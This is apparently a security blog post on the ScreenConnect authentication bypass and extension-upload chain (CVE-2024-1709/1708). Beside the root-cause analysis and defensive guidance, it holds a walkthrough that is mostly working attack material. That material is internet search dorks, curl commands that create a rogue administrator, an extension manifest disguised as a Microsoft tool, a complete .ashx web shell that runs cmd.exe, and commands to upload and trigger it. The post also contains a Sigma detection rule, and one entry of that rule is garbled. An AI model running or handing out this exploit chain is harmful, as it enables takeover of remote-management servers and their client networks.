ScreenConnect: Threat Modeling CVE-2024-1709 Pre-Auth RCE

ScreenConnect: Threat Modeling CVE-2024-1709 Pre-Auth RCE

Overview & Threat Landscape: Deconstructing ConnectWise ScreenConnect Pre-Auth RCE#

ScreenConnect CVE-2024-1709 exploits a .NET path traversal in SetupWizard.aspx for pre-auth RCE; patch to 23.9.8+ and audit User.xml immediately.

In the landscape of modern enterprise and managed service provider (MSP) infrastructure, remote monitoring and management (RMM) platforms represent the ultimate high-value target. Software such as ConnectWise ScreenConnect (formerly known as ConnectWise Control) serves as an administrative bridge into thousands of client networks, executing privileged agent software, facilitating remote desktop access, and maintaining persistent system-level tunnels into internal enclaves. When a remote access gateway exposed directly to the public internet suffers a critical authentication failure, the blast radius extends far beyond a single compromised edge server—it provides adversaries with an immediate pivot bridge to deploy mass ransomware across downstream client endpoints.

In February 2024, vulnerability researchers uncovered a catastrophic vulnerability chain in ConnectWise ScreenConnect versions 23.9.7 and earlier:

  • CVE-2024-1709 (CVSS 10.0 Maximum Severity): An authentication bypass vulnerability classified under CWE-288 (Authentication Bypass Using an Alternate Path or Channel). The flaw resides within the application's URL routing and path-handling logic for the initial setup wizard (/SetupWizard.aspx), allowing an unauthenticated external attacker to re-initialize the setup process on an already configured instance and overwrite administrative credentials in App_Data/User.xml.
  • CVE-2024-1708 (CVSS 8.4 High): An improper limitation of a pathname to a restricted directory (CWE-22: Path Traversal / Zip Slip). Once an attacker gains administrative privileges via CVE-2024-1709, they can upload a maliciously crafted extension archive (.zip) containing ASP.NET handler files (.ashx or .aspx), forcing the host service (ScreenConnect.Service.exe) to execute arbitrary code with NT AUTHORITY\SYSTEM privileges.

Disclosed by Huntress and rapidly added to the CISA Known Exploited Vulnerabilities (KEV) Catalog, CVE-2024-1709 triggered an immediate wave of automated in-the-wild exploitation. Prominent threat actors—including affiliates of the BlackCat (ALPHV), LockBit 3.0, and Play ransomware cartels, as well as access brokers associated with FIN7 (UNC5319)—weaponized the vulnerability within hours of public disclosure. Attackers utilized internet-wide OSINT search engines to enumerate unpatched instances, executed automated takeover scripts, and dropped web shells to deploy Cobalt Strike beacons, remote access trojans (RATs), and ransomware payloads across entire MSP client bases.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

MITRE ATT&CK Threat Mapping#

Deconstructing the attack chain of CVE-2024-1709 and CVE-2024-1708 requires mapping each phase against the MITRE ATT&CK enterprise matrix:

  • T1190 (Exploit Public-Facing Application): The adversary sends crafted HTTP requests containing alternate path strings (/SetupWizard.aspx/anything) to exposed ScreenConnect web ports (default TCP 8040/8041) to bypass perimeter access controls.
  • T1078.001 (Valid Accounts: Default / New Admin Accounts): The attacker leverages the unauthenticated setup wizard step 2 to inject a rogue administrative account or overwrite existing user records in the local User.xml credential database.
  • T1505.003 (Server Software Component: Web Shell): The adversary abuses the administrative extension management API to upload a weaponized plugin archive, dropping an .ashx or compiled .NET assembly directly into the web application directory.
  • T1059.001 (Command and Scripting Interpreter: PowerShell): The uploaded web shell invokes administrative commands via powershell.exe and cmd.exe running under the parent process ScreenConnect.Service.exe.
  • T1068 (Exploitation for Privilege Escalation): Because the ScreenConnect server service operates natively as NT AUTHORITY\SYSTEM on Windows hosts, arbitrary code execution in the web tier yields immediate local system compromise.
SCREENCONNECT CVE-2024-1709 ATTACK LANDSCAPE
Attacker Context: Execution Vehicle: Compromised Subsystem:
Unauthenticated Remote Actor HTTP POST to Alternate Path SetupWizard.aspx .NET Routing
External Internet (Port 8040) /SetupWizard.aspx/anything Bypasses configured-state check
Privilege Escalation: Secondary RCE Vector: Ultimate Operational Impact:
Rogue Administrator Created CVE-2024-1708 Extension Upload SYSTEM Shell via Web Shell (.ashx)
Injected into User.xml Unpacks malicious stager.ashx Fleet-wide Ransomware Deployment

Vulnerability & Attack Root-Cause Analysis: The SetupWizard.aspx PathInfo Routing Flaw#

The GNU and Windows .NET runtime architectures handle incoming HTTP requests through a structured pipeline of URL rewriters, authentication modules (IHttpModule), and page handlers (IHttpHandler). The root cause of CVE-2024-1709 lies in an elementary string-comparison mismatch between the requested URI path and ASP.NET's internal path resolution mechanism.

The .NET URL Routing & PathInfo Architectural Flaw#

When a client transmits an HTTP request to an ASP.NET application hosted under IIS or custom embedded HTTP listeners (such as ScreenConnect's embedded HTTP server in ScreenConnect.Server.dll), the runtime deconstructs the request URI into three distinct components:

  1. Request.FilePath: The virtual path to the resource executing the request (e.g., /SetupWizard.aspx).
  2. Request.PathInfo: Additional path information trailing the physical resource filename (e.g., /anything in /SetupWizard.aspx/anything).
  3. Request.Path: The concatenated combination of FilePath and PathInfo (e.g., /SetupWizard.aspx/anything).

In ScreenConnect, /SetupWizard.aspx is designed to be accessible only during initial product setup when the database and administrative user have not yet been provisioned. To prevent unauthorized re-entry into the setup wizard after installation, the application implements an access control check.

Below is a conceptual reconstruction of the vulnerable access validation logic extracted from decompiled assemblies of ScreenConnect.Server.dll:

CSHARP
// Decompiled conceptual representation from ScreenConnect.Server.dll (vulnerable <= 23.9.7)
public class SetupWizardHttpHandler : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        string currentPath = context.Request.Path;
        
        // VULNERABLE LOGIC: Exact string comparison against Request.Path
        // If the server has already completed initial setup:
        if (InstallationState.IsConfigured())
        {
            // Exact match check only validates "/SetupWizard.aspx"
            // If the incoming request is "/SetupWizard.aspx/anything", currentPath does NOT equal "/SetupWizard.aspx"
            if (string.Equals(currentPath, "/SetupWizard.aspx", StringComparison.OrdinalIgnoreCase))
            {
                context.Response.Redirect("~/Login", true);
                return;
            }
            
            // Critical flaw: Because currentPath is "/SetupWizard.aspx/anything",
            // the redirect is bypassed, and execution falls through to process wizard steps!
        }
        
        // Process unauthenticated wizard steps
        HandleSetupWizardStep(context);
    }
    
    private void HandleSetupWizardStep(HttpContext context)
    {
        // Step 2 handles Administrator creation
        if (context.Request.HttpMethod == "POST")
        {
            string username = context.Request.Form["userName"];
            string password = context.Request.Form["password"];
            string email = context.Request.Form["email"];
            
            // Overwrites or creates user in App_Data/User.xml
            UserManager.CreateOrUpdateAdministrator(username, password, email);
            
            // Automatically authenticates the caller and sets admin session cookie
            SessionManager.EstablishAdminSession(context, username);
        }
    }
}

Why Standard Perimeters and Web Application Firewalls Failed#

Standard Web Application Firewalls (WAFs) and reverse proxy filters inspecting incoming requests typically evaluate URL endpoints against rigid pattern lists. Because /SetupWizard.aspx is a legitimate, built-in application page, requests to /SetupWizard.aspx/anything were not flagged as SQL injection, cross-site scripting (XSS), or known exploit signatures.

Furthermore, because ASP.NET handles PathInfo by default for .aspx extensions, IIS and embedded .NET HTTP handlers happily route the request to the SetupWizard.aspx page handler. The page handler's internal check failed to normalize the URI using Request.AppRelativeCurrentExecutionFilePath or strip PathInfo, allowing an external caller to access the full administrative onboarding interface.

Chaining with CVE-2024-1708: Malicious Extension Zip Slip RCE#

Once an attacker establishes an administrative session via CVE-2024-1709, ScreenConnect's native functionality provides a modular architecture known as Extensions. Administrators can extend the platform by uploading .zip packages containing user interface widgets, integration scripts, and backend service handlers.

In vulnerable versions (<= 23.9.7), the extension installation routine in ScreenConnect.Server.dll suffered from CVE-2024-1708:

  1. When unpacking uploaded extension archives, the archive decompression utility failed to sanitize internal file paths (Zip Slip).
  2. The server permitted extensions to define custom ASP.NET HTTP handlers (.ashx) or dynamic scripts without verifying code signatures or sandboxing file execution paths.
  3. When the attacker uploads an extension containing an .ashx file, ScreenConnect unpacks it into the web-accessible application directory (typically C:\Program Files (x86)\ScreenConnect\App_Extensions\<GUID>).
  4. Making an HTTP GET request to the deployed .ashx endpoint immediately triggers execution of arbitrary C# code within the process context of ScreenConnect.Service.exe.
  5. Because ScreenConnect.Service.exe runs under the NT AUTHORITY\SYSTEM service account on Windows systems, the attacker achieves instant, unconstrained remote code execution.
Warning

While CVE-2024-1709 alone grants administrative access to the ScreenConnect console, attackers almost universally chain it with CVE-2024-1708 within 60 seconds to deploy persistent SYSTEM-level web shells and ransomware stagers.


Exploit Architecture: Attack Flow & Extension Weaponization#

The following sequence diagram details the end-to-end communication flow between an unauthenticated external attacker, the vulnerable ScreenConnect web service, the internal credential database (User.xml), and the operating system process layer:

sequenceDiagram
    autonumber
    actor Attacker as Remote Threat Actor (Internet)
    participant Edge as ScreenConnect Web Service (:8040)
    participant DB as Local App_Data User.xml
    participant Ext as Extension Subsystem (CVE-2024-1708)
    participant OS as Windows Kernel & SYSTEM Process

    Note over Attacker,Edge: Phase 1: OSINT Discovery & PathInfo Bypass Probe
    Attacker->>Edge: GET /SetupWizard.aspx/anything HTTP/1.1
    Edge-->>Attacker: HTTP/1.1 200 OK (Setup Wizard Form Rendered, Bypass Success)

    Note over Attacker,DB: Phase 2: Administrative Account Injection
    Attacker->>Edge: POST /SetupWizard.aspx/anything (userName=admin_backdoor, password=...)
    Edge->>DB: Overwrite / Append User Record to User.xml
    DB-->>Edge: User Created with Full Role Permissions
    Edge-->>Attacker: HTTP/1.1 302 Found (Set-Cookie: auth token issued)

    Note over Attacker,Ext: Phase 3: Administrative Session & Extension Stager Upload
    Attacker->>Edge: GET /Administration#Extensions (Cookie: auth token)
    Edge-->>Attacker: HTTP/1.1 200 OK (Administration Dashboard)
    Attacker->>Ext: POST /Administration/UploadExtension (payload.zip containing stager.ashx)
    Ext->>OS: Unpack Zip Slip Archive into App_Extensions directory
    OS-->>Ext: Files Written to Disk under ScreenConnect web root

    Note over Attacker,OS: Phase 4: Arbitrary Remote Code Execution as SYSTEM
    Attacker->>Edge: GET /App_Extensions/<GUID>/stager.ashx?cmd=powershell.exe -enc ...
    Edge->>OS: ScreenConnect.Service.exe Spawns powershell.exe (PID: 4128, SYSTEM)
    OS-->>Attacker: Outbound C2 Reverse Shell Connected (Full Host Compromise)

Attack Path Step-by-Step: From OSINT Reconnaissance to SYSTEM Shell#

Understanding how threat actors weaponized this vulnerability requires analyzing the precise technical operations observed during incident response investigations.

Step 1: Internet-Wide OSINT Reconnaissance & Asset Enumeration#

Attackers begin by querying public threat intelligence and attack surface scanning engines to discover exposed ScreenConnect web instances.

Primary OSINT Search Dorks

  • Shodan:
YAML
http.favicon.hash:-1916362544 "ScreenConnect"
  http.title:"ScreenConnect" "Version"
  port:8040 "ScreenConnect"
  • Censys:
YAML
services.http.response.html_title: "ScreenConnect" and services.port: 8040
  services.http.response.favicons.md5_hash: "28e75e9f8a32bb4c6a9a7b97e9e8f49a"
  • FOFA:
PLAINTEXT
app="ScreenConnect" && title=="ScreenConnect"
  body="ScreenConnect.Server.dll"

Querying these engines yields thousands of endpoints exposed on default TCP ports 8040 (HTTP) and 8041 (HTTPS Relay).


Step 2: PathInfo Pre-Auth Probe & Setup Wizard State Verification#

To confirm whether a target server is vulnerable, the attacker issues a lightweight curl probe to the alternate setup path:

BASH
# Verify PathInfo authentication bypass on target server
curl -k -s -i "https://target-msp.corp:8040/SetupWizard.aspx/anything" | head -n 25

Expected Vulnerable Response Headers & Content:

HTTP
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-HTTPAPI/2.0

Content-Length: 4892

<!DOCTYPE html>
<html>
<head><title>ScreenConnect Setup Wizard</title></head>
<body>
<form method="post" action="./anything" id="ctl00">
<!-- Setup Wizard Step 1 / Step 2 Form Tokens -->

If the instance were running patched code (version 23.9.8 or higher), the server would return an immediate HTTP/1.1 302 Found redirecting to /Login, or an HTTP/1.1 404 Not Found.


Step 3: Admin Account Injection & User.xml Overwrite#

With the wizard accessible, the attacker sends an HTTP POST request to step 2 of the setup wizard, providing their chosen administrator credentials:

BASH
# Exploit CVE-2024-1709: Inject rogue administrative user
curl -k -s -i -X POST "https://target-msp.corp:8040/SetupWizard.aspx/anything"   -H "Content-Type: application/x-www-form-urlencoded"   --data-urlencode "__EVENTTARGET="   --data-urlencode "__EVENTARGUMENT="   --data-urlencode "ctl00$MainContent$userName=sysadmin_backdoor"   --data-urlencode "ctl00$MainContent$password=P@ssw0rd2026!Secure#"   --data-urlencode "ctl00$MainContent$confirmPassword=P@ssw0rd2026!Secure#"   --data-urlencode "ctl00$MainContent$email=admin@target-msp.corp"   --data-urlencode "ctl00$MainContent$nextButton=Next"

Disk-Level Impact on App_Data/User.xml

Upon processing this POST request, ScreenConnect writes the new administrative user directly into C:\Program Files (x86)\ScreenConnect\App_Data\User.xml:

XML
<!-- Inspection of User.xml post-exploitation -->
<User>
  <CreationTime>2026-10-24T02:45:12Z</CreationTime>
  <Name>sysadmin_backdoor</Name>
  <DisplayName>System Administrator</DisplayName>
  <Email>admin@target-msp.corp</Email>
  <PasswordHash>pbkdf2:sha256:10000$...</PasswordHash>
  <Roles>
    <Role>Administrator</Role>
  </Roles>
</User>

The attacker now possesses legitimate, persistent administrative credentials on the target ScreenConnect gateway.


Step 4: Weaponized Extension Crafting & RCE via CVE-2024-1708#

To convert administrative access into interactive operating system execution, the attacker constructs a malicious extension archive (stager_extension.zip). The archive contains two critical files:

  1. manifest.xml: Declares extension metadata and registers an HTTP handler.
  2. handler.ashx: An ASP.NET handler containing code execution logic.

1. Extension Manifest (manifest.xml)

XML
<?xml version="1.0" encoding="utf-8"?>
<ExtensionManifest>
  <ID>e3b0c442-98fc-1c14-9afb-4c8996fb9242</ID>
  <Name>System Health Diagnostic Utility</Name>
  <Version>1.0.0</Version>
  <Author>Microsoft Diagnostics Internal</Author>
  <Description>Automated performance monitoring and keepalive probe.</Description>
</ExtensionManifest>

2. ASP.NET Web Shell Handler (handler.ashx)

CSHARP
<%@ WebHandler Language="C#" Class="DiagnosticHandler" %>
using System;
using System.Web;
using System.Diagnostics;
using System.IO;

public class DiagnosticHandler : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        context.Response.ContentType = "text/plain";
        string command = context.Request.QueryString["exec"];
        
        if (!string.IsNullOrEmpty(command))
        {
            ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + command)
            {
                RedirectStandardOutput = true,
                RedirectStandardError = true,
                UseShellExecute = false,
                CreateNoWindow = true
            };
            
            using (Process p = Process.Start(psi))
            {
                string output = p.StandardOutput.ReadToEnd();
                string error = p.StandardError.ReadToEnd();
                p.WaitForExit();
                context.Response.Write(output + error);
            }
        }
    }
    
    public bool IsReusable { get { return false; } }
}

The attacker zips manifest.xml and handler.ashx into stager.zip and uploads it via ScreenConnect's extension API:

BASH
# Upload extension archive via authenticated API
curl -k -s -X POST "https://target-msp.corp:8040/Administration/UploadExtension"   -H "Cookie: ASP.NET_SessionId=...; AuthToken=..."   -F "file=@stager.zip"

Step 5: Payload Triggering & SYSTEM Reverse Shell Execution#

Once unpacked, the attacker invokes the handler directly over HTTP:

BASH
# Execute command as NT AUTHORITY\SYSTEM via dropped web handler
curl -k -s "https://target-msp.corp:8040/App_Extensions/e3b0c442-98fc-1c14-9afb-4c8996fb9242/handler.ashx?exec=whoami"

Command Output:

PLAINTEXT
nt authority\system

With full SYSTEM privileges established, the attacker proceeds to dump LSASS credentials, disable endpoint security tools, harvest client session tokens, and deploy ransomware payloads across downstream managed endpoints.


Fast Cyber Defense Morning Takeaways: Threat Intel & Immediate Action Items#

The exploitation mechanics of CVE-2024-1709 represent a textbook case of how perimeter web framework abstractions can undermine critical enterprise security boundaries.

Immediate Action Items for Security Operations#

  1. Perform Immediate Asset Scoping: Identify all ScreenConnect instances in your enterprise inventory or client ecosystem. Ensure version is 23.9.8 or greater.
  2. Inspect User.xml for Rogue Administrators: Review C:\Program Files (x86)\ScreenConnect\App_Data\User.xml immediately. Look for accounts created or modified around unexpected maintenance windows.
  3. Audit the Extensions Directory: Inspect C:\Program Files (x86)\ScreenConnect\App_Extensions for unknown GUID folders or files containing .ashx and .aspx scripts.
  4. Deploy Immediate SIEM Detection: Implement the Sigma rule provided below to hunt for historic and ongoing exploitation attempts across perimeter proxy and endpoint logs.

Production Detection Rule: Sigma SIEM Specification#

Deploy the following Sigma rule across centralized SIEM platforms (Splunk, Microsoft Sentinel, Elastic, Sumo Logic) to detect CVE-2024-1709 URI exploitation and suspicious child process spawning:

YAML
title: ConnectWise ScreenConnect SetupWizard Authentication Bypass (CVE-2024-1709)
id: f4a8d291-3c5e-4b7f-8e12-a9b0c7d3e5f1
status: production
description: |
    Detects attempts to exploit the ConnectWise ScreenConnect pre-authentication bypass (CVE-2024-1709)
    via URI path manipulation (/SetupWizard.aspx/) and subsequent suspicious child process execution
    originating from ScreenConnect.Service.exe.
references:
    - https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
    - https://attack.mitre.org/techniques/T1190/
    - https://attack.mitre.org/techniques/T1505/003/

tags:
    - attack.initial_access
    - attack.t1190
    - attack.persistence
    - attack.t1505.003
    - attack.privilege_escalation
    - attack.t1068
logsource:
    category: webserver
    product: screenconnect
detection:
    selection_web_uri:
        cs-uri-stem|contains:
            - '/SetupWizard.aspx/'
            - '/SetupWizard.aspx?'
    selection_web_status:
        sc-status:
            - 200
            - 302
    selection_process:
        ParentImage|endswith: '\ScreenConnect.Service.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\certutil.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '
undll32.exe'
    condition: (selection_web_uri and selection_web_status) or selection_process
falsepositives:
    - Initial brand-new ScreenConnect server deployment during legitimate setup wizard execution.
level: critical

Executive Takeaway Table: Threat Vectors, Detection Signals, and Primary Mitigations#

The following executive matrix consolidates the threat vectors, observable telemetry signals, and recommended defensive remediations for ConnectWise ScreenConnect CVE-2024-1709:

Attack Vector / Technique Primary Exploitation Mechanism Telemetry & Detection Signal Recommended Mitigation Verification Command
PathInfo Auth Bypass (T1190) Requesting /SetupWizard.aspx/anything bypasses configured-state redirect Web server access logs: cs-method=POST and cs-uri-stem contains /SetupWizard.aspx/ Upgrade ScreenConnect server to version 23.9.8 or later immediately curl -k -I "https://target:8040/SetupWizard.aspx/anything"
User.xml Admin Creation (T1078.001) Step 2 of setup wizard writes new administrative user into User.xml File modification events in C:\Program Files (x86)\ScreenConnect\App_Data\User.xml Enforce file integrity monitoring (FIM); quarantine unauthorized admin accounts Review User.xml timestamps against change management logs
Zip Slip Extension Upload (T1505.003) Uploading weaponized .zip drops .ashx web shell into App_Extensions File creation events in App_Extensions containing .ashx, .aspx, or .dll Restrict extension installation; remove untrusted extensions from directory Get-ChildItem -Path "C:\Program Files (x86)\ScreenConnect\App_Extensions" -Recurse
SYSTEM Child Process Spawning (T1059) Executed web shell launches shell commands under ScreenConnect.Service.exe EDR process creation: Parent ScreenConnect.Service.exe spawning powershell.exe Deploy EDR behavioral block rules preventing child shells from service Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688}
Ransomware Fleet Propagation Compromised ScreenConnect console executes mass commands on client agents Mass agent commands dispatched from console targeting all connected endpoints Isolate ScreenConnect server from client networks; rotate all credentials Isolate network interface; audit ScreenConnect session audit logs

Authoritative References & Standards#

  1. Huntress Threat Intelligence: A Catastrophe for Control: Understanding the ScreenConnect Authentication Bypass (CVE-2024-1709 & CVE-2024-1708) — Huntress Security Research
  2. Cybersecurity and Infrastructure Security Agency (CISA): Known Exploited Vulnerabilities Catalog (KEV) - CVE-2024-1709 ConnectWise ScreenConnect — CISA KEV Entry
  3. ConnectWise Trust Center: Security Advisory: ConnectWise ScreenConnect 23.9.8 Remediation — ConnectWise Security Bulletin
  4. National Vulnerability Database (NIST): CVE-2024-1709 Detail (CVSS 10.0 Critical - CWE-288) — NIST NVD

Comments